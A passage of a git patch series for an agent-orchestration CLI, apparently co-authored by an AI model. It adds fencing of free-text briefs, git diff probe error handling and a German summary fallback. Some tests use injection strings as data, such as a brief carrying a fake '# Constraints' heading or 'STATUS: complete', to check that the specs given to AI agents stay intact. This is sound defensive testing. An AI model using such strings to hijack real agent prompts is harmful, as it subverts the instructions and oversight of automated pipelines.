path.read_text(encoding="utf-8") + assert "# Prior Rejection Feedback" in text + assert "real finding about auth.py:12" in text + # Exactly one real top-level Constraints heading (the template's). + assert text.count("\n# Constraints\n") == 1 + # Injected STATUS: complete must only appear inside a fenced block. + prior = text.split("# Prior Rejection Feedback", 1)[1] + prior_body, after_prior = prior.split("\n# Constraints\n", 1) + assert "STATUS: complete" in prior_body + assert "```" in prior_body + assert "STATUS: complete" not in after_prior + # Bare injected "# Constraints" line is inside the fence, not a heading. + assert "\n# Constraints\n" not in prior_body + assert "# Constraints" in prior_body + finally: + store.close() + + def test_pushed_passes_expected_branch_from_error_id( tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch ) -> None: @@ -776,6 +853,73 @@ def test_template_pr_open_payload_brief_first_sentence_only() -> None: assert sum(de_summary.count(c) for c in ".!?") <= 4 +def test_first_sentence_skips_common_abbreviations() -> None: + """Period after e.g./Dr./etc. must not truncate the first sentence.""" + brief = "e.g. this is broken and needs fixing. Second sentence here." + assert _first_sentence(brief) == "e.g. this is broken and needs fixing." + assert _first_sentence(brief) != "e.g." + assert ( + _first_sentence("Dr. Smith found a bug. More detail follows.") + == "Dr. Smith found a bug." + ) + + +def test_contributing_ok_evidence_rejects_stale_head() -> None: + """Approved gate on a different head_sha must not count as present.""" + current = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + stale = "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb" + snap = { + "head_sha": current, + "gates": [ + { + "vendor": "grok", + "dimension": "quality", + "verdict": "approved", + "head_sha": stale, + }, + { + "vendor": "grok", + "dimension": "logic", + "verdict": "approved", + "head_sha": current, + }, + { + "vendor": "codex", + "dimension": "quality", + "verdict": "approved", + "head_sha": current, + }, + { + "vendor": "codex", + "dimension": "logic", + "verdict": "approved", + "head_sha": current, + }, + ], + } + with pytest.raises(StoreError, match="grok/quality"): + _contributing_ok_evidence(snap) + + +def test_open_error_fix_tasks_skips_whitespace_only_error_id( + tmp_path: Path, capsys: pytest.CaptureFixture[str] +) -> None: + """Whitespace-only payload.error_id must not be returned by _open_error_fix_tasks.""" + tid = _bootstrap_error_fix_task(tmp_path, capsys) + store = _store(tmp_path) + try: + before = _open_error_fix_tasks(store) + assert any(str(t.get("id")) == tid for t in before) + task = store.row("task", tid) + assert task is not None + task["payload"] = {"error_id": " ", "repo": "org/app"} + store.write("task", "update", tid, task) + after = _open_error_fix_tasks(store) + assert all(str(t.get("id")) != tid for t in after) + finally: + store.close() + + def test_runner_to_completed_honors_cwd(tmp_path: Path) -> None: completed = _runner_to_completed( lambda _argv: Completed(1, "", "runner-should-not-run"), @@ -1594,3 +1738,53 @@ def test_empty_review_diff_fails_task_and_stops_reselection( assert all(tid not in line for line in lines2) assert len(_agents(tmp_path, tid)) == agents_after_first + + +def test_review_diff_probe_failure_leaves_task_retryable( + tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch +) -> None: + """Failed git probes must not fail the task; next scan may re-select it.""" + tid = _bootstrap_error_fix_task(tmp_path, capsys) + _finish_implementer(tmp_path, tid, capsys) + before_state = _task_state(tmp_path, tid) + + monkeypatch.setattr( + "agent_cli.run_core._collect_review_diff", + lambda *_a, **_k: ("", [], False), + ) + + def boom_launch(**_kwargs: object) -> object: + raise AssertionError("launch must not be called") + + monkeypatch.setattr("agent_cli.run_core.launch", boom_launch) + + store = _store(tmp_path) + try: + lines1 = drive_error_fix_tasks( + store, + runner=lambda argv: Completed(0, "", ""), + round_cap=5, + lane_runner=None, + ) + finally: + store.close() + + assert _task_state(tmp_path, tid) != "failed" + assert _task_state(tmp_path, tid) == before_state + assert any(tid in line for line in lines1) + assert any("vendor-cli-unavailable" in line for line in lines1) + assert not any(a.get("status") == "working" for a in _agents(tmp_path, tid)) + + store = _store(tmp_path) + try: + lines2 = drive_error_fix_tasks( + store, + runner=lambda argv: Completed(0, "", ""), + round_cap=5, + lane_runner=None, + ) + finally: + store.close() + + assert any(tid in line for line in lines2) + assert _task_state(tmp_path, tid) != "failed" diff --git a/tests/test_lane.py b/tests/test_lane.py index 4815c14..75b4966 100644 --- a/tests/test_lane.py +++ b/tests/test_lane.py @@ -13,6 +13,7 @@ _run_in_tmux, codex_argv, count_findings, + extract_findings_text, grok_argv, has_single_terminal_report, launch, @@ -108,6 +109,35 @@ def test_count_findings_absent_header_is_zero() -> None: assert count_findings("STATUS: complete\nREASON: ok\n") == 0 +def test_extract_findings_text_body_until_terminator() -> None: + """extract_findings_text keeps raw body lines up to NOT-VERIFIABLE/GAPS/end.""" + text = ( + "STATUS: complete\n" + "FINDINGS:\n" + "- real one\n" + "- real two\n" + "NOT-VERIFIABLE:\n" + "- skip me\n" + ) + assert extract_findings_text(text) == "- real one\n- real two" + + gaps_text = ( + "STATUS: complete\n" + "FINDINGS:\n" + "1. alpha\n" + "2) beta\n" + "GAPS:\n" + "- later\n" + ) + assert extract_findings_text(gaps_text) == "1. alpha\n2) beta" + + end_text = "STATUS: complete\nFINDINGS:\n- only finding\n" + assert extract_findings_text(end_text) == "- only finding" + + assert extract_findings_text("STATUS: complete\nREASON: ok\n") == "" + assert extract_findings_text("FINDINGS: none\n") == "none" + + def test_review_output_contract_echo_parses_as_zero_findings() -> None: """Unfilled review-output-contract template must not count as a real finding.""" from agent_cli.run_core import _REVIEW_OUTPUT_CONTRACT diff --git a/tests/test_run.py b/tests/test_run.py index 753757a..2596235 100644 --- a/tests/test_run.py +++ b/tests/test_run.py @@ -431,7 +431,8 @@ def test_empty_review_diff_short_circuits_before_launch( spec.write_text("review this\n", encoding="utf-8") monkeypatch.setattr( - "agent_cli.run_core._collect_review_diff", lambda *_a, **_k: ("", []) + "agent_cli.run_core._collect_review_diff", + lambda *_a, **_k: ("", [], True), ) def boom_launch(**_kwargs: object) -> object: @@ -469,7 +470,7 @@ def test_empty_diff_text_with_nonempty_changed_paths_still_short_circuits( monkeypatch.setattr( "agent_cli.run_core._collect_review_diff", - lambda *_a, **_k: ("", ["some/file.py"]), + lambda *_a, **_k: ("", ["some/file.py"], True), ) def boom_launch(**_kwargs: object) -> object: @@ -494,6 +495,48 @@ def boom_launch(**_kwargs: object) -> object: assert not any(a.get("status") == "working" for a in _agents(tmp_path, tid)) +def test_review_diff_probe_failure_leaves_task_untouched( + tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch +) -> None: + """Failed git probes with empty diff must not fail the task (retryable).""" + tid = _bootstrap_implement(tmp_path, capsys) + _finish_implementer(tmp_path, tid, capsys) + run(tmp_path, ["run", "--task", tid]) # close implementer_done → reviewer next + capsys.readouterr() + before_state = _task_state(tmp_path, tid) + before_reviewer = _checklist(tmp_path, tid).get("reviewer_approved") + spec = tmp_path / "review-spec.md" + spec.write_text("review this\n", encoding="utf-8") + + monkeypatch.setattr( + "agent_cli.run_core._collect_review_diff", + lambda *_a, **_k: ("", [], False), + ) + + def boom_launch(**_kwargs: object) -> object: + raise AssertionError("launch must not be called") + + monkeypatch.setattr("agent_cli.run_core.launch", boom_launch) + with pytest.raises(SystemExit): + run( + tmp_path, + [ + "run", + "--task", + tid, + "--spec-file", + str(spec), + "--no-tmux", + "--cwd", + str(tmp_path), + ], + ) + assert _task_state(tmp_path, tid) == before_state + assert _task_state(tmp_path, tid) != "failed" + assert _checklist(tmp_path, tid).get("reviewer_approved") == before_reviewer + assert not any(a.get("status") == "working" for a in _agents(tmp_path, tid)) + + def test_launch_oserror_does_not_leave_working_agent( tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch ) -> None: From c0c89015944cd283db695ca1ec128413b0959dae Mon Sep 17 00:00:00 2001 From: Daniel Padrino Date: Wed, 2 Sep 2026 14:55:34 -0300 Subject: [PATCH 13/47] Close two gaps in the transient-vs-empty diff distinction, fence briefs too. The prior commit's probes_ok tracking missed two cases: when no base candidate ref resolves at all, probes_ok stayed True (the rev-parse search is expected control flow, but a total failure to find any base is not) -- so a clean-but-unresolvable worktree wrongly hit the permanent-fail EmptyReviewDiffError path instead of the leave-for-retry ReviewDiffUnavailableError path. Separately, probes_ok was only consulted when the collected diff was empty, so a failed range-diff probe could be masked by non-empty dirty-worktree output from the supplemental diff calls, letting a wrong diff through unflagged. build_review_spec_file now checks probes_ok unconditionally, before the emptiness check. Also, in priority order: - write_error_fix_spec and template_pr_open_payload now fence `brief` the same way rejection_feedback is already fenced, closing the same spec/PR-body structure-injection class for the one field that wasn't covered yet. - _contributing_ok_evidence's StoreError (added for stale/missing PR gates) is now caught at all three call sites instead of leaking into an unbounded scan-error retry with no terminal state -- the same failure class the empty-diff fix targeted, reintroduced by that fix's own new check. Co-Authored-By: Claude Sonnet 5 Claude-Session: https://claude.ai/code/session_017TZHqRN57WvdUXvYdmLVZe --- src/agent_cli/fixer_act.py | 45 ++++++++----- src/agent_cli/run_core.py | 10 ++- tests/test_fixer_act.py | 130 +++++++++++++++++++++++++++++++++++++ tests/test_run.py | 82 +++++++++++++++++++++++ 4 files changed, 249 insertions(+), 18 deletions(-) diff --git a/src/agent_cli/fixer_act.py b/src/agent_cli/fixer_act.py index ad87879..2fb6ed3 100644 --- a/src/agent_cli/fixer_act.py +++ b/src/agent_cli/fixer_act.py @@ -121,6 +121,8 @@ def write_error_fix_spec( ) else: rejection_section = "" + brief_text = brief or "(no brief provided)" + brief_fence = _fence_marker(brief_text) body = ( f"# Context\n\n" f"- repo: `{repo}`\n" @@ -130,7 +132,7 @@ def write_error_fix_spec( f"- environment: `{environment}`\n" f"- class: `{class_name}`\n\n" f"# Task\n\n" - f"{brief or '(no brief provided)'}\n\n" + f"{brief_fence}\n{brief_text}\n{brief_fence}\n\n" f"{rejection_section}" f"# Constraints\n\n" f"- Patch only what the brief requires.\n" @@ -180,13 +182,15 @@ def template_pr_open_payload( f"Nur Entwurf; ein Mensch merged. " f"Brief: {brief_summary[:200] if brief_summary else 'siehe Task-Spec'}." ) + brief_text = brief or "(none)" + brief_fence = _fence_marker(brief_text) details = ( f"
\n" f"Details\n\n" f"- error_id: `{error_id}`\n" f"- fingerprint: `{fingerprint}`\n" f"- head: `{head}`\n" - f"- brief:\n\n```\n{brief or '(none)'}\n```\n\n" + f"- brief:\n\n{brief_fence}\n{brief_text}\n{brief_fence}\n\n" f"
\n" ) body = f"EN:\n{en}\n\nDE:\n{de}\n\n{details}" @@ -430,6 +434,27 @@ def _ensure_done_readiness(store: Store, tid: str, *, brief: str) -> None: ) +def _finish_task_done(store: Store, tid: str, *, brief: str) -> str: + """Close readiness gates, then set task state done; report StoreError as blocked. + + A StoreError from _ensure_done_readiness (e.g. a stale/missing PR-gate + evidence check inside _contributing_ok_evidence) must not propagate — + callers driving this in a scan loop would otherwise hit the identical + failure on every subsequent scan with no visible terminal signal. + """ + from . import main as main_mod + + try: + _ensure_done_readiness(store, tid, brief=brief) + except StoreError as exc: + return f"error-fix-work {tid} contributing_ok-blocked ({exc})" + try: + main_mod.cmd_task(["state", tid, "done"]) + except SystemExit as exc: + return f"error-fix-work {tid} done-blocked ({exc})" + return f"error-fix-work {tid} done" + + def _open_error_fix_tasks(store: Store) -> list[dict[str, Any]]: origin = store.device_id() out: list[dict[str, Any]] = [] @@ -541,12 +566,7 @@ def _drive_one( ready = next_steps(str(snap["workflow"]), snap["checklist"], spine_only=True) if not ready: - _ensure_done_readiness(store, tid, brief=brief) - try: - main_mod.cmd_task(["state", tid, "done"]) - except SystemExit as exc: - return f"error-fix-work {tid} done-blocked ({exc})" - return f"error-fix-work {tid} done" + return _finish_task_done(store, tid, brief=brief) step = ready[0] @@ -583,7 +603,7 @@ def _drive_one( _contributing_ok_evidence(snap), ] ) - except SystemExit as exc: + except (StoreError, SystemExit) as exc: return f"error-fix-work {tid} contributing_ok-blocked ({exc})" continue @@ -623,12 +643,7 @@ def _drive_one( head = outcome.head_sha if outcome.kind == "idle": - _ensure_done_readiness(store, tid, brief=brief) - try: - main_mod.cmd_task(["state", tid, "done"]) - except SystemExit as exc: - return f"error-fix-work {tid} done-blocked ({exc})" - return f"error-fix-work {tid} done" + return _finish_task_done(store, tid, brief=brief) if outcome.kind == "human_required": return f"error-fix-work {tid} human-required key={outcome.key}" diff --git a/src/agent_cli/run_core.py b/src/agent_cli/run_core.py index b099138..bb5e8d7 100644 --- a/src/agent_cli/run_core.py +++ b/src/agent_cli/run_core.py @@ -279,6 +279,8 @@ def _collect_review_diff( The third return value is True only when every diff-producing git probe that actually ran exited 0. The base-ref rev-parse search is excluded — a missing candidate ref is expected control flow, not a probe failure. + When *no* candidate resolves at all, that counts as a probe failure + (not expected control flow), so probes_ok becomes False. """ base_ref: str | None = None for candidate in _BASE_CANDIDATES: @@ -289,6 +291,8 @@ def _collect_review_diff( chunks: list[str] = [] paths: list[str] = [] probes_ok = True + if base_ref is None: + probes_ok = False if base_ref is not None: mb = exec_argv(["git", "merge-base", "HEAD", base_ref], cwd=cwd) mb_rc = int(getattr(mb, "returncode", 1)) @@ -352,12 +356,12 @@ def build_review_spec_file( ) -> str: """Write a four-part review prompt under $AGENT_HOME/review-work//; return its path.""" diff_text, changed_paths, probes_ok = _collect_review_diff(cwd, exec_argv) - if not diff_text.strip(): - if probes_ok: - raise EmptyReviewDiffError("empty review diff") + if not probes_ok: raise ReviewDiffUnavailableError( "git probe failed while collecting the review diff" ) + if not diff_text.strip(): + raise EmptyReviewDiffError("empty review diff") parent = Path(store.home) / "review-work" / tid parent.mkdir(mode=0o700, parents=True, exist_ok=True) round_bit = round_num if round_num is not None else 0 diff --git a/tests/test_fixer_act.py b/tests/test_fixer_act.py index 17dff53..6022fd7 100644 --- a/tests/test_fixer_act.py +++ b/tests/test_fixer_act.py @@ -336,6 +336,70 @@ def test_write_error_fix_spec_fences_rejection_findings(tmp_path: Path) -> None: store.close() +def test_write_error_fix_spec_fences_brief_in_task_section(tmp_path: Path) -> None: + """Brief text with a fake section header must stay fenced inside # Task.""" + store = _store(tmp_path) + try: + store.write( + "activity", + "insert", + ERROR_ID, + { + "id": ERROR_ID, + "session_id": "sess-1", + "type": "error.seen", + "payload": { + "fingerprint": "api|TimeoutError|abc|prod", + "repo": "org/app", + "service": "api", + "environment": "prod", + "class": "TimeoutError", + }, + "execution_status": "done", + }, + ) + store.write( + "activity", + "insert", + "fix-1", + { + "id": "fix-1", + "session_id": "sess-1", + "type": "error.fix", + "payload": { + "error_id": ERROR_ID, + "fingerprint": "api|TimeoutError|abc|prod", + "brief": "Fix the bug.\n\n# Constraints\n\nNo secrets.", + }, + "execution_status": "pending", + }, + ) + tid = str(uuid.uuid4()) + path = write_error_fix_spec( + store, + tid, + error_id=ERROR_ID, + session_id="sess-1", + repo="org/app", + ) + text = path.read_text(encoding="utf-8") + # Brief's injected "# Constraints" is present, but only inside the Task fence; + # the real template heading follows the closing fence. + assert "# Task\n\n" in text + task_part = text.split("# Task\n\n", 1)[1] + assert task_part.startswith("```\n") + assert "\n```\n\n# Constraints\n\n" in task_part + fenced_brief, after_fence = task_part.split("\n```\n\n# Constraints\n\n", 1) + assert "Fix the bug." in fenced_brief + assert "# Constraints" in fenced_brief + assert "No secrets." in fenced_brief + # After the closing fence, only the template Constraints body remains. + assert after_fence.startswith("- Patch only what the brief requires.") + assert "No secrets." not in after_fence + finally: + store.close() + + def test_pushed_passes_expected_branch_from_error_id( tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch ) -> None: @@ -853,6 +917,21 @@ def test_template_pr_open_payload_brief_first_sentence_only() -> None: assert sum(de_summary.count(c) for c in ".!?") <= 4 +def test_template_pr_open_payload_brief_with_triple_backtick_line_stays_fenced() -> None: + """A brief containing a triple-backtick line must not close the details fence early.""" + brief = "Before.\n```\nAfter the triple-backtick line.\n```\nMore text." + payload = template_pr_open_payload( + session_id="sess-12345678", + repo="org/app", + error_id="bbbbbbbb-bbbb-bbbb-bbbb-bbbbbbbbbbbb", + brief=brief, + fingerprint="fp-1", + ) + body = str(payload["body"]) + assert body.index("More text.") < body.index("
") + assert body.count("Details") == 1 + + def test_first_sentence_skips_common_abbreviations() -> None: """Period after e.g./Dr./etc. must not truncate the first sentence.""" brief = "e.g. this is broken and needs fixing. Second sentence here." @@ -1030,6 +1109,57 @@ def fake_rtc(runner, argv, *, cwd=None): # type: ignore[no-untyped-def] assert cl["deviation_granted"] == "n_a" +def test_drive_one_reports_contributing_ok_blocked_instead_of_raising( + tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch +) -> None: + """StoreError from _contributing_ok_evidence must become contributing_ok-blocked.""" + tid = _bootstrap_error_fix_task(tmp_path, capsys) + _advance_error_fix_to_pushed(tmp_path, tid, capsys, monkeypatch) + + pushed_sha = "abcdef1234567890abcdef1234567890abcdef12" + + def fake_rtc(runner, argv, *, cwd=None): # type: ignore[no-untyped-def] + if "diff" in argv: + if "--name-only" in argv: + return Completed(0, "src/foo.py\n", "") + return Completed(0, "diff --git a/src/foo.py b/src/foo.py\n+fixed\n", "") + if "rev-parse" in argv or "merge-base" in argv: + return Completed(0, "abcdef1\n", "") + return Completed(0, "", "") + + def boom_evidence(snap): # type: ignore[no-untyped-def] + raise StoreError("boom - stale gate") + + monkeypatch.setattr( + "agent_cli.git_act.push_branch", + lambda *, cwd, runner, expected_branch=None: pushed_sha, + ) + monkeypatch.setattr("agent_cli.run_core.launch", _pass_lane) + monkeypatch.setattr("agent_cli.fixer_act._runner_to_completed", fake_rtc) + monkeypatch.setattr( + "agent_cli.fixer_act.insert_pr_open_and_scan", + _fake_insert_pr_open_and_scan, + ) + monkeypatch.setattr("agent_cli.fixer_act._contributing_ok_evidence", boom_evidence) + + store = _store(tmp_path) + try: + task = store.row("task", tid) + assert task is not None + result = _drive_one( + store, + task, + runner=lambda argv: Completed(0, "", ""), + round_cap=5, + lane_runner=None, + ) + finally: + store.close() + + assert "contributing_ok-blocked" in result + assert _task_state(tmp_path, tid) != "done" + + def test_fixer_pr_gate_rejection_clears_head_for_new_push( tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch ) -> None: diff --git a/tests/test_run.py b/tests/test_run.py index 2596235..3df7526 100644 --- a/tests/test_run.py +++ b/tests/test_run.py @@ -6,6 +6,12 @@ import pytest from agent_cli.lane import LaneResult +from agent_cli.run_core import ( + EmptyReviewDiffError, + ReviewDiffUnavailableError, + _collect_review_diff, + build_review_spec_file, +) from agent_cli.runtime import Completed from agent_cli.store import Store from test_cli import _last_agent_id, _last_task_id, run @@ -537,6 +543,82 @@ def boom_launch(**_kwargs: object) -> object: assert not any(a.get("status") == "working" for a in _agents(tmp_path, tid)) +def test_collect_review_diff_no_base_candidate_resolves_marks_probes_not_ok( + tmp_path: Path, +) -> None: + """When every base candidate fails rev-parse, probes_ok must be False.""" + + def fake_exec(argv: list[str], *, cwd: str | None = None) -> Completed: + if argv[:3] == ["git", "rev-parse", "--verify"]: + return Completed(1, "", "") + # Supplemental HEAD / --cached probes succeed but empty. + return Completed(0, "", "") + + _diff, _paths, probes_ok = _collect_review_diff(str(tmp_path), fake_exec) + assert probes_ok is False + + +def test_build_review_spec_file_raises_unavailable_when_no_base_resolves( + tmp_path: Path, +) -> None: + """No resolving base candidate → ReviewDiffUnavailableError, not EmptyReviewDiffError.""" + + def fake_exec(argv: list[str], *, cwd: str | None = None) -> Completed: + if argv[:3] == ["git", "rev-parse", "--verify"]: + return Completed(1, "", "") + return Completed(0, "", "") + + store = _store(tmp_path) + try: + with pytest.raises(ReviewDiffUnavailableError) as ei: + build_review_spec_file( + store, + "some-tid", + role="reviewer", + round_num=1, + implement_spec_file=None, + cwd=str(tmp_path), + exec_argv=fake_exec, + ) + assert not isinstance(ei.value, EmptyReviewDiffError) + finally: + store.close() + + +def test_build_review_spec_file_raises_unavailable_despite_dirty_worktree_diff( + tmp_path: Path, +) -> None: + """Failed range-diff probe must raise even when supplemental dirty-worktree diff is non-empty.""" + + def fake_exec(argv: list[str], *, cwd: str | None = None) -> Completed: + if argv[:3] == ["git", "rev-parse", "--verify"]: + if argv[3] == "origin/develop": + return Completed(0, "abc123\n", "") + return Completed(1, "", "") + if argv[:2] == ["git", "merge-base"]: + return Completed(1, "", "") + if argv == ["git", "diff", "HEAD"]: + return Completed(0, "diff --git a/x b/x\n+dirty\n", "") + if argv == ["git", "diff", "--name-only", "HEAD"]: + return Completed(0, "x\n", "") + return Completed(0, "", "") + + store = _store(tmp_path) + try: + with pytest.raises(ReviewDiffUnavailableError): + build_review_spec_file( + store, + "some-tid", + role="reviewer", + round_num=1, + implement_spec_file=None, + cwd=str(tmp_path), + exec_argv=fake_exec, + ) + finally: + store.close() + + def test_launch_oserror_does_not_leave_working_agent( tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch ) -> None: From 0360db1b1b7544cab8a4428d64c2affab67c5978 Mon Sep 17 00:00:00 2001 From: Daniel Padrino Date: Wed, 2 Sep 2026 15:29:50 -0300 Subject: [PATCH 14/47] Give the auto-generated German summary a real German sentence. The task-summary fallback wrote the same English one-liner into both the English and German ledger-summary fields, so the PR-ready closing comment's DE: block was never actually German -- a real CONTRIBUTING.md conformance gap. It now builds a distinct German fallback with a genuine standalone sentence followed by a labeled quotation of the (inherently free-text, untranslatable) brief, mirroring the pattern template_pr_open_payload already uses for its own DE construction. Also closes a residual gap in the prior commit's probes_ok tracking: git merge-base succeeding with empty stdout was treated the same as a resolved base, silently skipping the base-range diff without flagging the probe as failed. And the PR body's brief_summary is now collapsed to its first line after sentence extraction, matching the same defensive pattern already applied to the PR title. Co-Authored-By: Claude Sonnet 5 Claude-Session: https://claude.ai/code/session_017TZHqRN57WvdUXvYdmLVZe --- src/agent_cli/fixer_act.py | 11 +++- src/agent_cli/run_core.py | 4 +- tests/test_fixer_act.py | 100 +++++++++++++++++++++++++++++++++++-- tests/test_run.py | 50 +++++++++++++++++++ 4 files changed, 157 insertions(+), 8 deletions(-) diff --git a/src/agent_cli/fixer_act.py b/src/agent_cli/fixer_act.py index 2fb6ed3..c404555 100644 --- a/src/agent_cli/fixer_act.py +++ b/src/agent_cli/fixer_act.py @@ -171,7 +171,7 @@ def template_pr_open_payload( if len(suffix) > 72: suffix = suffix[:69] + "..." title = f"{session_id[:8]} - {suffix}" - brief_summary = _first_sentence(brief) if brief else "" + brief_summary = _first_sentence(brief).splitlines()[0].strip() if brief else "" en = ( f"Automated error-fix for `{fingerprint or short}` in `{repo}`. " f"Draft only; a human merges. " @@ -421,6 +421,13 @@ def _ensure_done_readiness(store: Store, tid: str, *, brief: str) -> None: one = (brief or task.get("title") or "error-fix").splitlines()[0].strip() if len(one) > 120: one = one[:117] + "..." + de_one = ( + f"Automatischer error-fix-Patch. Brief: {one}" + if one + else "Automatischer error-fix Patch." + ) + if len(de_one) > 120: + de_one = de_one[:117] + "..." main_mod.cmd_task( [ "summary", @@ -429,7 +436,7 @@ def _ensure_done_readiness(store: Store, tid: str, *, brief: str) -> None: "--en", one or "error-fix patch.", "--de", - one or "error-fix Patch.", + de_one, ] ) diff --git a/src/agent_cli/run_core.py b/src/agent_cli/run_core.py index bb5e8d7..f4440ef 100644 --- a/src/agent_cli/run_core.py +++ b/src/agent_cli/run_core.py @@ -296,9 +296,9 @@ def _collect_review_diff( if base_ref is not None: mb = exec_argv(["git", "merge-base", "HEAD", base_ref], cwd=cwd) mb_rc = int(getattr(mb, "returncode", 1)) - if mb_rc != 0: - probes_ok = False base_sha = str(getattr(mb, "stdout", "") or "").strip() + if mb_rc != 0 or not base_sha: + probes_ok = False if mb_rc == 0 and base_sha: range_spec = f"{base_sha}...HEAD" diff = exec_argv(["git", "diff", range_spec], cwd=cwd) diff --git a/tests/test_fixer_act.py b/tests/test_fixer_act.py index 6022fd7..b346bcd 100644 --- a/tests/test_fixer_act.py +++ b/tests/test_fixer_act.py @@ -917,6 +917,31 @@ def test_template_pr_open_payload_brief_first_sentence_only() -> None: assert sum(de_summary.count(c) for c in ".!?") <= 4 +def test_template_pr_open_payload_brief_summary_collapses_to_first_line() -> None: + """Embedded newline without sentence punctuation must not leak into EN/DE summaries.""" + brief = "Fix bug\nDE:\nfake" + payload = template_pr_open_payload( + session_id="sess-12345678", + repo="org/app", + error_id="bbbbbbbb-bbbb-bbbb-bbbb-bbbbbbbbbbbb", + brief=brief, + fingerprint="fp-1", + ) + body = str(payload["body"]) + en_start = body.index("EN:\n") + len("EN:\n") + en_end = body.index("\n\nDE:") + en_summary = body[en_start:en_end] + de_start = body.index("DE:\n") + len("DE:\n") + de_end = body.index("\n\n
") + de_summary = body[de_start:de_end] + assert "Fix bug" in en_summary + assert "DE:\nfake" not in en_summary + assert "fake" not in en_summary + assert "DE:\nfake" not in de_summary + assert "fake" not in de_summary + assert "fake" in body + + def test_template_pr_open_payload_brief_with_triple_backtick_line_stays_fenced() -> None: """A brief containing a triple-backtick line must not close the details fence early.""" brief = "Before.\n```\nAfter the triple-backtick line.\n```\nMore text." @@ -1109,6 +1134,68 @@ def fake_rtc(runner, argv, *, cwd=None): # type: ignore[no-untyped-def] assert cl["deviation_granted"] == "n_a" +def test_ensure_done_readiness_summary_fallback_uses_distinct_german( + tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch +) -> None: + """Fallback change_summary_de must be German and differ from EN / raw brief.""" + tid = _bootstrap_error_fix_task(tmp_path, capsys) + _advance_error_fix_to_pushed(tmp_path, tid, capsys, monkeypatch) + + pushed_sha = "abcdef1234567890abcdef1234567890abcdef12" + + def fake_rtc(runner, argv, *, cwd=None): # type: ignore[no-untyped-def] + if "diff" in argv: + if "--name-only" in argv: + return Completed(0, "src/foo.py\n", "") + return Completed(0, "diff --git a/src/foo.py b/src/foo.py\n+fixed\n", "") + if "rev-parse" in argv or "merge-base" in argv: + return Completed(0, "abcdef1\n", "") + return Completed(0, "", "") + + monkeypatch.setattr( + "agent_cli.git_act.push_branch", + lambda *, cwd, runner, expected_branch=None: pushed_sha, + ) + monkeypatch.setattr("agent_cli.run_core.launch", _pass_lane) + monkeypatch.setattr("agent_cli.fixer_act._runner_to_completed", fake_rtc) + monkeypatch.setattr( + "agent_cli.fixer_act.insert_pr_open_and_scan", + _fake_insert_pr_open_and_scan, + ) + + store = _store(tmp_path) + try: + task = store.row("task", tid) + assert task is not None + result = _drive_one( + store, + task, + runner=lambda argv: Completed(0, "", ""), + round_cap=5, + lane_runner=None, + ) + assert result.endswith("done") or " done" in result + done = store.row("task", tid) + assert done is not None + en = (done.get("change_summary_en") or "").strip() + de = (done.get("change_summary_de") or "").strip() + brief = "Timeout in handler; add retry." + assert en + assert de + assert de != en + assert de != brief + brief_marker = "Brief: " + assert brief_marker in de + german_sentence, _, rest = de.partition(brief_marker) + german_sentence = german_sentence.strip() + assert german_sentence.endswith(".") + assert "Automatischer" in german_sentence + assert rest == brief + + finally: + store.close() + + def test_drive_one_reports_contributing_ok_blocked_instead_of_raising( tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch ) -> None: @@ -1835,10 +1922,15 @@ def test_empty_review_diff_fails_task_and_stops_reselection( tid = _bootstrap_error_fix_task(tmp_path, capsys) _finish_implementer(tmp_path, tid, capsys) - monkeypatch.setattr( - "agent_cli.fixer_act._runner_to_completed", - lambda runner, argv, *, cwd=None: Completed(0, "", ""), - ) + def fake_rtc(runner, argv, *, cwd=None): # type: ignore[no-untyped-def] + # Base ref resolves and merge-base returns a real sha (probes_ok stays + # True) but every diff call comes back genuinely empty -- a confirmed + # empty diff, not a probe failure. + if "rev-parse" in argv or "merge-base" in argv: + return Completed(0, "abcdef1\n", "") + return Completed(0, "", "") + + monkeypatch.setattr("agent_cli.fixer_act._runner_to_completed", fake_rtc) store = _store(tmp_path) try: diff --git a/tests/test_run.py b/tests/test_run.py index 3df7526..af35d05 100644 --- a/tests/test_run.py +++ b/tests/test_run.py @@ -558,6 +558,25 @@ def fake_exec(argv: list[str], *, cwd: str | None = None) -> Completed: assert probes_ok is False +def test_collect_review_diff_empty_merge_base_stdout_marks_probes_not_ok( + tmp_path: Path, +) -> None: + """merge-base exit 0 with empty/whitespace stdout must set probes_ok False.""" + + def fake_exec(argv: list[str], *, cwd: str | None = None) -> Completed: + if argv[:3] == ["git", "rev-parse", "--verify"]: + if argv[3] == "origin/develop": + return Completed(0, "abc123\n", "") + return Completed(1, "", "") + if argv[:2] == ["git", "merge-base"]: + return Completed(0, " \n", "") + # Supplemental HEAD / --cached probes succeed but empty. + return Completed(0, "", "") + + _diff, _paths, probes_ok = _collect_review_diff(str(tmp_path), fake_exec) + assert probes_ok is False + + def test_build_review_spec_file_raises_unavailable_when_no_base_resolves( tmp_path: Path, ) -> None: @@ -585,6 +604,37 @@ def fake_exec(argv: list[str], *, cwd: str | None = None) -> Completed: store.close() +def test_build_review_spec_file_raises_unavailable_when_merge_base_stdout_empty( + tmp_path: Path, +) -> None: + """Empty merge-base stdout → ReviewDiffUnavailableError, not EmptyReviewDiffError.""" + + def fake_exec(argv: list[str], *, cwd: str | None = None) -> Completed: + if argv[:3] == ["git", "rev-parse", "--verify"]: + if argv[3] == "origin/develop": + return Completed(0, "abc123\n", "") + return Completed(1, "", "") + if argv[:2] == ["git", "merge-base"]: + return Completed(0, "", "") + return Completed(0, "", "") + + store = _store(tmp_path) + try: + with pytest.raises(ReviewDiffUnavailableError) as ei: + build_review_spec_file( + store, + "some-tid", + role="reviewer", + round_num=1, + implement_spec_file=None, + cwd=str(tmp_path), + exec_argv=fake_exec, + ) + assert not isinstance(ei.value, EmptyReviewDiffError) 